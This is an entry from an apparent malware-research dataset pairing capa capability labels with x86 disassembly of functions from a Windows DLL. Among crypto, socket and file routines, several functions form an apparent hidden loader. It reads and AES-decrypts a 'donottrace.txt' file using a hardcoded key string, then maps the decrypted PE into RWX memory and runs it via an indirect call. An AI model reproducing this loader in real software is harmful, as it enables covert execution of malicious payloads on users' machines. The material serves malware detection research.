joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005ce0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10062400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1c]
push esi
push edi
push 0xf0000000
push 1
push 0
push 0
push eax
mov esi, edx
mov dword [ebp - 0x20], 8
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10005d73
xorps xmm0, xmm0
mov dword [ebp - 8], 0
movdqu xmmword [ebp - 0x18], xmm0
lea edx, [ebp - 0xc]
mov word [ebp - 0x18], 0x208
mov ecx, ebx
mov dword [ebp - 0x14], 0x6601
mov dword [ebp - 0x10], 8
call fcn.10005c50
mov ecx, edx
call fcn.10005060
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0x14
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x10005d86
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
mov eax, dword [edi]
push dword [ebp - 0x20]
mov dword [esi], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push eax
push esi
push 0
push 0
push 0
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003bca3
mov esp, ebp
pop ebp
ret

Function at 0x10005ef0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, edx
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10005f00
sub esi, ecx
lea eax, [esi + esi]
push eax
mov dword [ebp - 0xc], eax
call dword [0x10063410]
mov edi, eax
add esp, 4
test edi, edi
jne 0x10005f29
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
mov edx, ebx
mov ecx, edi
call fcn.10005ec0
add esp, 4
lea eax, [ebp - 8]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [ebp + 8]
test eax, eax
je 0x10005fa8
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8002
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10005f9d
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0x10
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [ebp - 0x10]
push eax
push esi
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x1006341c]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006de0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push edx
push 0x10001140
push 0
push 0
call fcn.1003dc48
add esp, 0x18
test eax, eax
je 0x10006dff
cmp eax, 0xffffffff
jne 0x10006e01
xor eax, eax
ret

Function at 0x10007430
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
mov edi, eax
lea esp, [esp]
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
call esi
sub eax, edi
cmp eax, 0x32
jb 0x10007450
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007480
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x10062400]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100074e8
mov eax, dword [esp]
cmp al, 2
jne 0x100074e2
shr eax, 8
cmp al, 2
jne 0x100074e2
call fcn.10006c00
test eax, eax
jne 0x100074ed
call fcn.10023af0
call fcn.10007430
xor eax, eax
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
Function at 0x1000a020
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov edi, edx
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x1000a04b
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x1000a03e
pop edi
xor eax, eax
pop esi
pop ebp
ret
push dword [eax + 8]
push dword [ebp + 8]
push 1
push edi
call ecx
jmp 0x1000a07d
cmp dword [esi + 8], 0
jne 0x1000a06f
push 0x100571c0
push dword [eax + 8]
call fcn.1003d39e
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x1000a06f
pop edi
or eax, 0xffffffff
pop esi
pop ebp
ret
push dword [esi + 8]
push dword [ebp + 8]
push 1
push edi
call fcn.1003ea1c
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x1000a09f
mov eax, dword [esi + 8]
test eax, eax
je 0x1000a099
push eax
call fcn.1003d563
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000a2c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10062400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x18], 0x10
push edi
lea ecx, [ebp - 0x18]
or edi, 0xffffffff
push ecx
mov eax, dword [esi + 0x194]
lea ecx, [ebp - 0x14]
mov ebx, dword [esi]
push ecx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1000a317
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
mov edx, dword [ebp - 0x1c]
mov ecx, esi
call fcn.10003310
cmp edi, 0xffffffff
jne 0x1000a34a
push str.Error_accept__ing_server_connect
push ebx
call fcn.10023060
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
push str.Connection_accepted_from_server_n
push ebx
call fcn.10022fe0
add esp, 8
mov byte [esi + 0x370], 0
mov edx, 1
mov dword [esi + 0x194], edi
mov ecx, edi
call fcn.1001e350
mov byte [esi + 0x1a1], 1
mov eax, dword [ebx + 0x198]
test eax, eax
je 0x1000a3b1
push 1
push edi
push dword [ebx + 0x19c]
call eax
add esp, 0xc
test eax, eax
je 0x1000a3b1
mov ecx, esi
call fcn.1000a1d0
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
Function at 0x1000c320
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, 0x51eb851f
imul ebx
push esi
sar edx, 5
xor esi, esi
mov eax, edx
push edi
shr eax, 0x1f
mov edi, ecx
add eax, edx
mov ecx, dword [edi]
cmp eax, 2
je 0x1000c35a
push str.Couldnt_set_desired_mode
push ecx
call fcn.10023060
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebx
pop ebp
ret
cmp ebx, 0xc8
je 0x1000c371
push ebx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ecx
call fcn.10022fe0
add esp, 0xc
mov eax, dword [ebp + 8]
cmp eax, 0x13
jne 0x1000c387
mov ecx, edi
call fcn.1000b4f0
mov esi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x14
jne 0x1000c39a
mov ecx, edi
call fcn.1000b540
mov esi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x15
jne 0x1000c3ad
mov ecx, edi
call fcn.1000b670
mov esi, eax
pop edi
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x16
jne 0x1000c3bb
mov ecx, edi
call fcn.1000b680
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x1000fb00
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10062400]
xor eax, ebp
mov dword [ebp - 4], eax
push ecx
call fcn.1003eee8
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x1000fb61
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [ebp - 0x108], 0
je 0x1000fb61
lea eax, [ebp - 0x108]
push eax
call dword [0x10063414]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret

Function at 0x1000fb80
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
pop ebp
jmp fcn.1000fb00
Function at 0x10010a30
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0x2c
mov edi, edx
call dword [0x10063410]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10010a51
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [esi + 0xc]
mov dword [esi], 0x10055b00
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ecx + 8]
mov dword [esi + 4], ecx
mov dword [esi + 8], eax
cmp ebx, 0x40
jbe 0x10010a99
push ecx
call dword [0x10055b00]
push ebx
push edi
push dword [esi + 4]
call dword [0x10055b04]
mov edi, dword [esi + 8]
push dword [esi + 4]
add edi, 8
push edi
call dword [0x10055b08]
mov ebx, 0x10
add esp, 0x18
mov dword [ebp + 8], ebx
push dword [esi + 4]
call dword [0x10055b00]
push dword [esi + 8]
call dword [0x10055b00]
add esp, 8
xor eax, eax
test ebx, ebx
je 0x10010b00
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
lea ebx, [ebx]
movzx eax, byte [edi]
xor al, 0x36
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
push dword [esi + 4]
call dword [0x10055b04]
movzx eax, byte [edi]
lea edi, [edi + 1]
xor al, 0x5c
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
push dword [esi + 8]
call dword [0x10055b04]
add esp, 0x18
dec ebx
jne 0x10010ac0
cmp dword [ebp + 8], 0x40
jae 0x10010b36
mov eax, dword [ebp - 0xc]
mov edi, 0x40
sub edi, eax
jmp 0x10010b10
push 1
push 0x100555c1
push dword [esi + 4]
call dword [0x10055b04]
push 1
push 0x100555c2
push dword [esi + 8]
call dword [0x10055b04]
add esp, 0x18
dec edi
jne 0x10010b10
pop ebx
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10022ea0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
mov ebx, dword [ecx + edx*4 + 0x190]
mov eax, edx
push esi
shl eax, 4
lea esi, [ecx + 0x1b4]
add esi, eax
mov eax, dword [ecx + 0x3a0]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x3c], 3
je 0x10022f58
cmp dword [ecx + edx*4 + 0x1a4], 0x10023300
jne 0x10022f58
cmp dword [esi], 0
je 0x10022eea
test edi, edi
je 0x10022f58
push 0
push 0
push 0xffffffffffffffff
or edx, 0xffffffff
mov ecx, ebx
call fcn.100226c0
add esp, 0xc
cmp eax, 0xffffffff
je 0x10022f58
test al, 1
je 0x10022f58
cmp dword [esi], 0
jne 0x10022f41
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x10063410]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test eax, eax
jne 0x10022f41
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
add eax, dword [esi + 8]
push 0
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10022f58
add dword [esi + 8], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10023240
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
mov esi, dword [edi + edx*4 + 0x190]
call fcn.10022ea0
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
cmp ebx, 0xffffffff
jne 0x100232c3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x10023299
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x51
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
mov edx, esi
mov ecx, edi
call fcn.10029470
push eax
push str.Send_failure:__s
push dword [edi]
call fcn.10023060
mov eax, dword [edi]
add esp, 0xc
mov dword [eax + 0x4694], esi
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x37
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x100237c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x190]
test eax, eax
je 0x100237e6
push dword [esi + 0x11c]
push dword [ebp + 0xc]
push dword [ebp + 8]
push edx
push esi
call eax
add esp, 0x14
pop esi
pop ebp
ret
cmp edx, 2
ja 0x1002381a
push dword [esi + 0x118]
lea eax, [edx*2 + 0x1005611c]
push 1
add eax, edx
push 2
push eax
call fcn.1003f8ab
push dword [esi + 0x118]
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1003f8ab
add esp, 0x20
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10023900
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10064314]
push esi
push edi
mov edi, dword [0x1006431c]
xor esi, esi
push 0xf0000000
push 0x18
push esi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push esi
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x100239ce
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x100239c3
push esi
push 0x80
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x100239ba
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
push 0x6610
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x100239ba
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push 1
push esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x100239ac
mov ecx, dword [ebp + 0xc]
mov esi, 1
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x100239b1
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100239e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10062400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.1003d3c0
add esp, 8
mov byte [eax], 0
mov eax, str.donottrace.txt
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023a24
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023a34
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push accept
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x1006430c], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x10064314], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x10064318
push dword [0x10064314]
mov dword [0x1006431c], eax
push eax
push dword [0x1006430c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1006430c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0
push eax
push ecx
call fcn.10023900
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
call fcn.1003bca3
mov esp, ebp
pop ebp
ret

Function at 0x10023ba0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x1006431c]
push esi
mov esi, ecx
mov dword [ebp - 4], eax
cmp dword [esi + 8], 0
je 0x10023bbe
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
push dword [0x10064314]
push eax
call fcn.10024040
test eax, eax
je 0x10023bb5
push ebx
mov ecx, esi
call fcn.10024110
mov ebx, eax
test ebx, ebx
jne 0x10023be4
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 8
push edi
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10023c92
push dword [ebp - 4]
mov ecx, esi
push edi
call fcn.10024190
mov eax, dword [esi + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x10023c27
cmp dword [eax + 0xa4], 0
jbe 0x10023c27
push edi
mov ecx, esi
call fcn.10023dc0
push edi
mov ecx, esi
call fcn.10023e50
test eax, eax
jne 0x10023c4b
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x10]
push 0
push 1
push edi
mov dword [eax + 0x34], edi
mov eax, dword [esi + 0x10]
mov eax, dword [eax + 0x28]
add eax, edi
mov dword [esi + 4], eax
call eax
test eax, eax
jne 0x10023c9d
push eax
push eax
mov eax, dword [esi + 4]
push edi
call eax
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 4], 0
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 8], edi
mov eax, 1
pop edi
pop ebx
mov dword [esi], 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10024040
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, ecx
cmp esi, 0x40
jae 0x10024055
xor eax, eax
pop esi
pop ebp
ret 8
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [edx + 0xc], ecx
cmp word [ecx], ax
jne 0x1002404e
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x1002409d
lea eax, [edi + ecx]
mov dword [edx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x1002409d
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x1002409d
test cl, 2
je 0x1002409d
mov ecx, 0xe0
cmp word [eax + 0x14], cx
je 0x100240a5
pop edi
xor eax, eax
pop esi
pop ebp
ret 8
push ebx
lea ebx, [eax + 0xf8]
xor ecx, ecx
mov dword [edx + 0x14], ebx
movzx edi, word [eax + 6]
test edi, edi
jle 0x100240d4
xor edx, edx
jmp 0x100240c0
mov eax, dword [edx + ebx + 0x14]
add eax, dword [edx + ebx + 0x10]
cmp eax, esi
ja 0x100240e0
inc ecx
add edx, 0x28
cmp ecx, edi
jl 0x100240c0
pop ebx
pop edi
mov eax, 1
pop esi
pop ebp
ret 8
pop ebx
pop edi
xor eax, eax
pop esi
pop ebp
ret 8

Function at 0x10029dc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.kernel32
mov esi, ecx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x10029de4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push str.LoadLibraryExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x1005cb44
push esi
mov dword [ebp - 8], ebx
call fcn.1003fb12
add esp, 8
test eax, eax
je 0x10029e2c
test ebx, ebx
je 0x10029e1c
push 8
push 0
push esi
call ebx
pop ebx
mov edi, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ebx
mov edi, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x10029e55
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10029e55
push 0x800
push 0
push esi
call ebx
pop ebx
mov edi, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x10029f00
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029e71
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x10063410]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10029ef6
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x10029ef6
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029ea2
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10029ec0
sub ecx, edx
add ecx, ebx
sub ecx, esi
lea ecx, [ecx]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x10029ed0
mov eax, dword [ebp - 8]
test eax, eax
je 0x10029eed
push 8
push 0
push ebx
call eax
jmp 0x10029ef4
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x1006341c]
add esp, 4
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10029f10
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x10062400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x198]
mov esi, ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10029f5c
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.10023060
add esp, 0xc
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x198]
cmp al, 2
jne 0x10029f84
shr eax, 8
test al, al
jne 0x10029f84
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003bca3
mov esp, ebp
pop ebp
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.10023060
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 2
pop esi
call fcn.1003bca3
mov esp, ebp
pop ebp
ret

Function at 0x1002a180
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
mov esi, ecx
mov byte [ebp - 2], al
push 3
lea eax, [ebp - 4]
mov byte [ebp - 4], 0xff
push eax
push dword [esi + 0x190]
mov edi, dword [esi]
mov ebx, edx
mov byte [ebp - 3], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002a1c9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10023060
add esp, 0xc
push dword [ebp + 8]
mov ecx, dword [esi]
mov edx, str.SENT
push ebx
call fcn.1002a080
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1002a410
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, ecx
push esi
push edi
mov esi, edx
mov eax, dword [ebx]
mov edi, dword [eax + 0x114]
mov eax, dword [edi + esi*4 + 8]
sub eax, 0
je 0x1002a4ac
sub eax, 2
je 0x1002a462
dec eax
jne 0x1002a48e
mov eax, dword [edi + esi*4 + 0x408]
sub eax, 0
je 0x1002a456
dec eax
jne 0x1002a48e
mov dword [edi + esi*4 + 8], 1
mov dword [edi + esi*4 + 0x408], eax
pop edi
pop esi
pop ebx
ret
mov dword [edi + esi*4 + 8], 0
pop edi
pop esi
pop ebx
ret
mov eax, dword [edi + esi*4 + 0x408]
sub eax, 0
je 0x1002a492
dec eax
jne 0x1002a48e
mov dword [edi + esi*4 + 8], 3
mov dword [edi + esi*4 + 0x1008], eax
push esi
mov edx, 0xfc
call fcn.1002a180
add esp, 4
pop edi
pop esi
pop ebx
ret
cmp dword [edi + esi*4 + 0x1808], 1
mov dword [edi + esi*4 + 8], 1
jne 0x1002a48e
pop edi
pop esi
pop ebx
jmp fcn.1002ae10
cmp dword [edi + esi*4 + 0x808], 1
jne 0x1002a4e2
push esi
mov edx, 0xfb
mov dword [edi + esi*4 + 8], 1
call fcn.1002a180
add esp, 4
cmp dword [edi + esi*4 + 0x1808], 1
jne 0x1002a48e
mov edx, esi
mov ecx, ebx
pop edi
pop esi
pop ebx
jmp fcn.1002ae10
cmp dword [edi + esi*4 + 0x1808], 1
jne 0x1002a480
push esi
mov edx, 0xfb
mov dword [edi + esi*4 + 8], 1
call fcn.1002a180
add esp, 4
mov edx, esi
mov ecx, ebx
pop edi
pop esi
pop ebx
jmp fcn.1002ae10